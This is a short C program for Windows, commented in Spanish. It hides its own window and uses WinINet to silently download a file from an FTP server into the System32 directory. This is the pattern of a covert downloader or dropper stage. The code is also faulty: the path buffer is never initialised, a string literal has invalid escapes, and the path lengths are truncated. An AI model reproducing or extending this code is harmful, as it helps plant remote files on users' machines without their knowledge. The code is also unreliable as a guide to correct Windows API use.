#include <windows.h>
#include <wininet.h>
#include <string.h>
#define RARCHIVO "index.html"
int main()
{
char dir[100];
strncat(dir, getenv("windir"), 15); //obtiene el path de windows
strncat(dir, "\System32\", 15); //agrega System32 al path queda por ejemplo c://windows/system32
strncat(dir, RARCHIVO, 15); // c://windows/system32/index.html
HINTERNET hInternet, hServer;
ShowWindow(GetForegroundWindow(),SW_HIDE);
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hInternet);
InternetCloseHandle(hServer);
return 0;
}